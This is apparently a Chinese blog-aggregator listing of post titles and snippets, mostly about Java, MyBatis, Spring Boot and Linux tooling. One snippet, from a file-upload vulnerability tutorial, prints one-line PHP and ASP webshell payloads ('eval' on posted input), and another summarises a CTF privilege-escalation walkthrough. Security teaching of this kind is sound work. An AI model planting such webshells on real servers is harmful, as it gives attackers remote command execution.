文件apache excel java
关于Java:使用Mockito注入自动装配的bean并在模拟上设置一些属性
demo /** * @author lfy * @Description 支付上下文引用支付策略; 这个上下文也是模板类;定义好算法步骤 * @create 2022-12-28 22:46 */ @Service @Slf4j //模板类 public class PayServiceImpl ......
配置文件 条件查询
编写接口方法:Mapper **参数:所有查询条件 **结果:List<Brand> 2. 编写SQL语句:SQL映射文件 3. 执行方法,测试 方法一: 步骤一: 在BrandMapper.xml文件中设置select查询语句 <select id="selectByCondition" resu ......
关于 Web 应用的内联 css 和 scss 文件里的 var 关键字用法
为什么网站性能调优准则里都强调要 Use inline fonts and CSS instead of loading them asynchronously? 网站性能优化的一个重要目标是尽可能地缩短页面加载时间,使用户可以更快地访问您的网站。加载字体和CSS样式表是构建页面的重要组成部分,但是 ......
Java学习1-前三次题目集的分析与总结
一. 前言 作为刚学习JAVA的小白,以下只是本人作为普通学生,以当前能力和状态所做出的总结和分析,不足之处也欢迎各位大佬的指正! 第一和第二次题目集的大部分题目难度较低,但是题量较大,主要考了JAVA的格式化输入输出、顺序结构、判断结构、循环结构、浮点运算、分支结构、字符串去重、字符串查找、普通数 ......
》》》IDEA Mybatis中xml文件粘贴SQL导致左对齐,样式发生变化
转载:IDEA Mybatis中xml文件粘贴SQL导致左对齐,样式发生变化_idea mybatis sql格式_诛心小恶魔的博客-CSDN博客 IDEA在编辑mybatis中xml文件的时候,默认是不保留粘贴文本的缩进格式。所以需要手动在IDEA设置中进行重新设置 操作步骤 如图所示: ......
第一个月学java的前三次作业总结。。
恢复内容开始 恢复内容开始 恢复内容开始 1.前言 知识点:Java语言的输入输出,变量的计算,浮点数的计算,if语句的使用,for循环和while循环,数组的使用,数组的计算,变量类型的转换,字符串的操作,类与类之间的调用,函数的定义,函数的调用,布尔类型的使用。 题量:前两次题目数量较多,完成的 ......
org.springframework.dao.TransientDataAccessResourceException: Error attempting to get column 'classification' from result set. Cause: java.sql.SQLException: Invalid value for getInt()
问题:mybatis查询的时候,始终报这个错。我看了字段,应该是ClickNumber是Integer,为什么会报classification的问题。我试了几种方式,但是还是有这个问题。 包括使用resultMap来进行返回。 晚上看了很多方法,包括Druid版本啊,参数名不一致啊,lombok注解 ......
Rclone:远端大文件传输
背景 事情是这样的…… 前几天在远端的服务器上进行了一个MPI程序的profile,准确来说是tracing。产生的文件贼大,大约有10G+的样子。问题是境外的服务器和本地直接用sftp连接只有50KB/s左右的连接速度,传这么大的文件多少有点抽象。得到的建议是。可以从服务器传输到网盘,然后再中转到 ......
读Java性能权威指南(第2版)笔记28_线程和同步性能中
1. 同步 1.1. 代码块对一组变量的访问看上去是串行的:每次只有一个线程可以访问内存 1.1.1. 由synchronized关键字保护的代码块 1.1.2. 用java.util.concurrent.lock.Lock类的实例保护的代码 1.1.3. java.util.concurrent ......
Java之大数加减乘除——构建类
超级大的数做加减乘除 java有八大数据类型: 1、byte(位),最大存储数据量是255; 2、short(短整数),最大数据存储量是65536; 3、int(整数),最大数据存储容量是2的32次方减1; 4、long(长整数),最大数据存储容量是2的64次方减1; 5、float(单精度浮动数) ......
在右键新建菜单中添加.md文件
你安装的MarkDown编辑器是Typora 在桌面新建一个txt文件 复制粘贴以下代码 Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.md] @="TyporaMarkdownFile" "PerceivedType"="text ......
如何评价Java
Java已经诞生20多年了,依然是企业级开发中使用最广泛的语言,也是挨骂最多的语言。Java广受批评的四个缺点是:性能差、内存消耗大、GUI弱、代码啰嗦,我们应该如何看待这几个问题呢?在微服务的背景下,提倡围绕业务能力而非技术来构建应用,允许由不同的语言构建应用程序。一个超大的集群,往往有上万个微服... ......
02_FourandSix2.01-doas下less命令+vi编辑器提权-7z文件解密
首先有nmap进行信息收集,然后发现开放的22端口ssh服务,另外检收集到nfs文件共享,查看文件共享的信息,发现为everyone所有人可看,利用文件挂载将靶机中的文件挂载到本机,发现问价是一个.7z的压缩包,尝试解压但是压缩文件有密码,根据密码输入错误的解压结果来看发现里面有10个文件,其中八张... ......
java学习日记20230325-内部类
内部类 基本介绍: 一个类的内部又完整的嵌套了另一个类结构,被嵌套的类称为内部类(inner class),嵌套其他类的类车称为外部类(outer class),是我们类的第五大成员(属性,方法,构造器,代码块,内部类),内部类最大的特点就是可以直接访问私有属性,并且可以提现类与类之间的包含关系。内 ......
springboot自定义文件加载处理
有没有一种场景就是不想把自己的配置参数放在springboot的配置文件(application.properties)里,就想自己定一个自己认为耍酷的名字,比如my-redis.yml,my-mysql.properties等,并且这些文件里面的配置也可以同样的在程序启动的时候加载到运行环境中。确 ......
Java博客作业(一)
一、前言 对于我来说,自己学习一门新的语言难度是十分大的,在一边学习一边完成作业的过程中,我学习到了很多关于java语言的使用技巧,但也由于不够熟练而导致作业的完成度不高,对此我只能通过以后的继续学习来增强自己的能力,更好地完成作业。 PTA的第一次作业总体来说难度系数不是很大,但题量很大。前四题都 ......
JAVA的特性和优势
JAVA特性和优势 面向对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 思考?JAVA为什么能成功 我觉得Java在发展过程中经历了许多,但目前不了解其他计算机语言,但java也是一名 非常好的语言。但我相信,在学习过程中,我能发现Java和其他计算机语言的不同。 ......
Caused by: java.sql.SQLException: Parameter index out of range (2 > number of parameters, which is 1).
一、问题背景 在xml配置中自定义了sql语句 二、报错截图如下 三、我的项目配置如下 四、分析问题 五、问题原因 在xml中自定义sql语句时,里面不能有注释过得sql 六、解决方式 https://thinkingcao.blog.csdn.net/article/details/1038159 ......
Java ThreadLocal
ThreadLocal的功能在Java多线程并发环境中非常实用,其作用是提供线程本地变量,例如用户ID、会话ID等与当前线程密切关联的信息。那么它在实际业务场景中可以怎么使用呢?让我们一起来看看下边这个案例。 有一台 Web 服务器,需要设计一个组件,用于记录每次请求完整执行的耗时时长,整体流程如下 ......
/etc目录下passwd shadow group gshadow 四个文件中每个字段的含意以及etc目录下login.defs和etc目录下deafult子目录中useradd文件中每个配置项功能说明介绍
/etc/passwd 第一字段 :用户名称(account) 这个字段没什么可说的,就是用户个人的用户名,不过,需要注意的是用户在起名时要遵守相应规范。 第二字段 :密码标识(password) 该字段若是 x ,则代表这个用户设有密码。x 不能省略,如果省略,系统在登录时就不会去 /etc/sh ......
JAVA入门基础
JAVA入门 打开CMD Win+R 输入cmd. 按下回车键 Win+E 打开我的电脑 常见CMD命令 盘符名称+冒号 说明:盘符切换 举例:E:回车,表示切换到E盘 dir 说明:查看当前路径下的内容 cd 目录 说明:进入单级目录 举例:cd itheima cd.. 说明:回退到上一级目录 ......
java学习日记20230325-接口
接口基本介绍 接口就是给出一些没有实现的方法,封装到一起,到某个类要使用的时候,在根据具体情况把这些方法写出来。 如果一个类implements,需要将该接口的所有抽象方法都实现 在jdk8以后可以默认实现方法,需要使用default关键字 在jdk8以后,可以有静态方法 在jdk7前接口里的所有方 ......
用DiskGenius打开虚拟机磁盘文件vmdk的方法
如何用DiskGenius打开虚拟机磁盘文件vmdk当然此方法也适合虚拟机无法正常启动,但虚拟机里重要文件时可以用此方法将文件复制出来. 1、启动DiskGenius分区工具,根据图上点击 2、浏览到虚拟机系统的安装目录找到虚拟机系统的硬盘文件,扩展名为vmdk 3、当然还包括创建vm,vpc ,v ......
如何在旧手机上搭建网站做文件服务器_ksweb和frp
生活中随着手机的更新换代,我们会有很多不用的旧手机,这些旧手机通常在家里吃灰,用来换不锈钢盆和大剪刀又太可惜了。 本文通过一种行之有效的方法,教你搭建一个可外网访问的24小时在线网站服务器。用到的工具包括KsWeb和Frp,这两个工具使用起来都非常的简单。另外,本文将还用kodExplorer源码为 ......
闭关java第四天
Java方法详解 什么是方法 是语句的集合 最好保持原子性:就是一个方法只完成一个功能,这样利于我们后期的拓展 Java方法类似于其它语言的函数,是一段用来完成特定功能的代码片段 修饰符 返回值类型 方法名(参数类型 参数名){ ... 方法体 ... return 返回值; } 方法包括一个方法头 ......
java面对对象第一次博客作业
一、前言 1、三次pta作业的知识点 1.java中的基础程序语法 ; 2.数据的输入与输出; 3.java中变量的构造; 4.java中运算符的使用 5.类的构造方法、方法的调用、参数传递、对象的构造与使用; 6.String类的一些方法,和定义。 6.Java中的控制流程(循环结构、选择结构)等 ......
10.文件上传和文件包含
文件上传和文件包含 文件上传 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。 一句话木马 PHP: <?php @eval($_POST['cmd']);?> ASP: <%eval request("cmd")%> ASPX: <%@ Page La ......
解决vmware安装的centos7和主机win11不能互传文件复制粘贴
虚拟机(M) 安装VMware Tools(T) 一直显示灰色解决:1.打开VMware 开启虚拟机 点击之后立即去 虚拟机(M) 安装VMware Tools(T) 这是后是可以点击的 2.虚拟机centos7 启动好了以后会在可视化桌面上看到VMware Tools,点进去有个VMware To ......
mybatis xml文件热加载实现
本文博主给大家带来一篇 mybatis xml 文件热加载的实现教程,自博主从事开发工作使用 Mybatis 以来,如果需要修改 xml 文件的内容,通常都需要重启项目,因为不重启的话,修改是不生效的,Mybatis 仅仅会在项目初始化的时候将 xml 文件加载进内存。 本着提升开发效率且网上没有能 ......